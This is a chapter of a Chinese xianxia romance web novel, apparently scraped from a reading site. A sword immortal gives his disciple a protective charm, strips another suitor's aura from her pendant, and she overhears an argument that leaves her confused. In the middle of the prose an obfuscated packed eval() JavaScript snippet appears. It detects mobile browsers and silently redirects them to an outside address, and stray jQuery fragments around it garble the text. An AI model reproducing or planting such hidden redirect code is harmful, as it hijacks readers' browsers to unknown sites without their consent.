默认冷灰
24号文字
方正启体

6. 尘尽生猛地收回手

作者:江水山花本书字数:K更新时间:
    若要修心,须先动其身,养其性。


    “呼——”


    “呼———”


    沈开云将手中满水的木桶“哐当”搁在地上,大口喘着粗气。


    眼看四周无人,她用手擦去额上的汗,从怀中小心掏出丈夫今早寄来的信件。锦纹花笺方打开,便被一道冰冷严肃的声音打断。


    “可是累了。”


    沈开云汗毛立起,赶忙提起收起信,道:“不,不累。”


    姜色长衫男子自路尽头走来,尊者似乎格外喜欢穿这些凡间服饰,他内着月色曲领襦,棉麻交织的布料微立,仅露出一小截克制的脖颈。


    仙家眉间肃意消减,端得是骨重神寒,他向沈开云微微点了下头。


    沈开云习惯性地回以一笑。


    尘尽生:“既然不累,那便继续。”


    沈开云悲伤地回以一哭。


    她老实道:“累了,师尊,我刚才是瞎说的,我跑不动了。”


    尘尽生半撩起眼皮。


    看他没有反应,沈开云大声道:“我要休息,我不跑了!”


    在尘尽生的魔爪下沉浮逃生的五个月,她领悟了一个道理,那就是,做人,不能太客气!


    该硬气的时候,就硬气。


    男人惯性紧闭的双唇微启。


    沈开云赶忙打断他:“不仅不跑了,我也不要打坐了,更不要诵经了,今早我都突破练气五层了,今我要休假!”


    尘大老爷未吐出的话被她堵在嘴里。


    沈开云:“嘿嘿。”


    男人微叹:“你既决矣,自行之。”


    “好诶!”


    一朝穷人乍富,喜获半天长假,她满脑子都是逃离尘大老爷的兴奋。


    沈开云溜达地翘着步子,她从半山坡爬至山顶,只想快找个地方好好看看丈夫信里都写了什么。


    剑尊的宫殿很大,零零总总空出不少地方,沈开云选的居所向阳临水,正是一个读信的好地方。


    袅袅琴音自殿外池上传来,珠玉流空,飘扬兮若美人羞面。她踏入门槛的脚步一停,扭头望去,竟是尘尽生。


    青瓷般的仙人手持净水玉瓶,沉默地浇着河中盛放的粉瓣芙蕖。


    他身后置一琴箫虚影,天丝作弦,青鸾协奏,乐声就是从其传来。


    沈开云奇道:“师尊,你怎么也在这?”


    尘尽生微微起身,停下浇花的动作,绸缎般的黑发自他肩侧滑落。


    没等他回答,沈开云自己就想通了,大悟道:“哦,我忘了,我休假了,师父你肯定也随着休假了。”


    她绕着那巨琴看了看,稀奇道,“这是何物呀?”


    “嗯。”尘尽生点了点头,算是认同了她的说法。


    他将那法器缩收于手心,凝聚成一小小的银制琴型坠子,递给沈开云,“此为三青箫,护身灵器。”


    言下之意,便是给她了。


    “嘿嘿,谢谢师尊!”沈开云接过坠子。


    她刚要挂于脖上,便被一股横生而出的阻力给止住了动作。沈开云拿着坠子的手莫名滞在原地,半点前进不得。


    宝物原主人眉头轻皱:“怎么了?”


    “我也不知道,这灵器没法近我身。”她将坠子攥至眼前,迷茫道。


    “无法近身?”


    尘尽生额前神光轻颤,微微俯身,他的视线落至那片瓷白透薄的脖颈处。


    黑色的挂绳穿过她的后颈坠着,将那柔软的肌肤勒出一小段微妙的红痕。陌生的银白灵气盘踞在那黑绳上,将少女悄然无息的拢入圈中,打上了自己的标记。


    “我脖子上有什么吗?”沈开云奇怪地摸了摸脖侧。


    “无碍。”尘尽生睨了眼那可笑的灵气,将掌心覆于其上。


    掌下细柔的颈段害怕得轻轻颤抖,却还是信任地向上扬起,一点点,如金鱼吐水般微啄着他的指尖。仙家沉默片刻,手指微微卷起,转而去勾起那断细白脖颈上的黑绳。


    绳下挂着的,是一枚透蓝玉玦。


    沈开云傻眼:“等等!”


    她赶忙伸手拽回绳子,尘尽生的手被她陡然的动作卷倒,白玉指骨压制于黑绳之下,生生抵在她颈肩肌肤处,戳出两个一深一浅的小坑。


    少女忙于低头查看手中的玉坠,完全没注意尘尽生。


    她鹅黄色的儒领微竖,衣物包裹下的热气叠叠渡上来,手背轻触,就好似有了层层剥开此人的权利。


    尘尽生猛地收回手。


    “师尊,你怎么了?”


    女子如杨柳枝条般向前倾,葡萄一般清甜的眼中满是信任与担忧。


    尘尽生移开视线,声音僵硬:“我无事。”


    沈开云顺着他的目光望去。池中小荷尖尖露出,豆大的水珠垂于卷边处,在危险的边缘摇摇晃晃。


    她挠了挠头,将那枚水色玉玦收拢于手中,道:“这是我的忘年交给我的,他只说当作信物,应该没问题吧。”


    “此物会和师尊您的灵器相排斥吗?”沈开云问道。


    “同效相斥罢了。”


    剑尊抬手,就如同拂去一粒尘埃,沈开云只听得一声轻轻微响,手中的玉饰便霎时暗淡了几分。


    琴状宝器被他稳稳塞沈开云五指之中,这一次,已然没有它物可以阻拦。


    这一连串的动作尽占得三字:快、准、狠。


    沈开云哑然,她捏着手中玉饰,尚未反应过来。


    尘尽生:“现在可以了。”


    “啊。”沈开云瞪大眼睛,“这玉玦不会坏了吧。”


    “只是将那截灵气抹去,并未破坏物品本身。”


    “那就好那就好。”沈开云小心的拍了拍玉玦的灰尘,塞入自己的兜里。


    男人沉默了半响,道:“你很重视这个?”


    “此人擅送你自身灵气护体,并非善类。”他没等沈开云回答,便自顾自地说了起来。


    尘尽生神色平静,言语克制,可沈开云却总觉得剑尊不喜她口中的忘年交。


    不过忘年交本就与师尊就有旧仇来着。


    沈开云表情一僵。


    她竟将这茬忘了。


    “也没有很重视。”沈开云抿起了嘴,“下次见面,我们可能就不是朋友了。”


    尘尽生轻沉眉头:“为何?”


    那表情,就似是既不想家中小儿被带歪,又见不得孩子真被旁人疏远了。


    “他与师尊你有旧仇,定是不会再看惯我这个人了。”沈开云叹了口气,心中沉闷闷的。


    尘尽生:“所以你便选择了我?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371861|199948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“我没有选择啊。”沈开云老实道,“师尊与我相处最久,自然是师尊更重要了。”


    尘尽生呼吸一滞。


    他绷着身子侧过头,沈开云只能见到男人忽闪的上睫。


    “……有客人来访,你自行休息。”


    远处琉璃正殿伫立在烈日下,波光粼粼,有一痕线形银光正频频闪烁。


    确有人已等候多时了。


    尘尽生一走,四周便再次无人。


    沈开云索性就地打开丈夫的信件,纸上仅有三个银钩大字:


    来见我


    她手一松,那花笺幻作飞蝶,绕着她震翅转了一圈,示意沈开云与它走。


    哪怕以入道三月有余,可沈开云平日学的多是刀枪剑法,经纶道理,还从没见过这等幻术。


    她稀奇地追着蝴蝶向外走。梅花小蝶闪着金粉,一路穿过翠影珠帘、红木长廊、云涛花影,琉璃高阁。


    直至奔至正殿阶下,沈开云才放轻了步伐。她可不想打扰到来找师尊的贵客。


    毕竟这寒山头仅他师徒二人,她还是第一次见外人来呢。


    “死死生生,皆命也!”


    “贪、嗔、痴鬼,尔何苦也!”


    猛然爆发的怒呵自阁内传出,听着竟像是在吵架。


    沈开云耳朵一立,她一把揽回小蝶,赶忙倒退几步,寻着那声源探去。


    刚到手的三青箫竟随心而动,隐去了她的身形。


    “我做了什么,我自己清楚。”


    熟悉的音色随之而来,她识得,是尘尽生。


    难道有人在欺负师尊。


    沈开云紧紧扒着窗棱,眯起眼睛,侧耳去听那墙内的动静。


    “我也无需此药。”


    尘尽生的语气冷淡,与其争执之人明显更气了,隔着墙都能听到那人粗重的呼吸声。


    她隔着纸窗模模糊糊望里看。尘尽生今日的衣服与这纸窗颜色相近,沈开云看不到师尊的影子,只能看到一个鲜艳的紫色虚影来回踱步。


    “好好好,我岂能奈汝何。”那人气得后背起伏数下,猛地停住,摆袖道,


    “糊涂痴人!有病不治!糊涂痴人!难道你能真将你那徒弟生下来不成!”


    谁?


    谁生下谁?


    尘尽生的徒弟还能是谁?除了千年前的那个仙子,不就只剩她了吗?


    沈开云猛地向后倒仰,早已无心再听。她连滚带爬地逃离此处,满脑子都乱成一团,一时不察,竟跟着蝴蝶逃到了山外。


    难道,她是剑尊遗落在外的亲生子?


    一想到剑尊对她那纵容中隐隐带着补偿的态度,再想她那从不见影的生父,沈开云只觉得自己悟了。


    她说不上心里是什么滋味,只觉得大脑有些不够用了。


    沈开云狠狠抓了下脑袋,抱着头卷缩在树下,盯着树根处那簇无根摇晃的野草。


    亦或者说,尘尽生对她这么好,都是为了要生下他自己的徒弟?


    那个在忘年交口中,他辜负了的徒弟?


    一双溅着泥点的黑皂靴自她眼前站定。


    “我等你许久了。”


    略显疲惫的声音自头上传来,是萧仁。


    小半年未见,他肉眼看着,真真是憔悴了不少。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)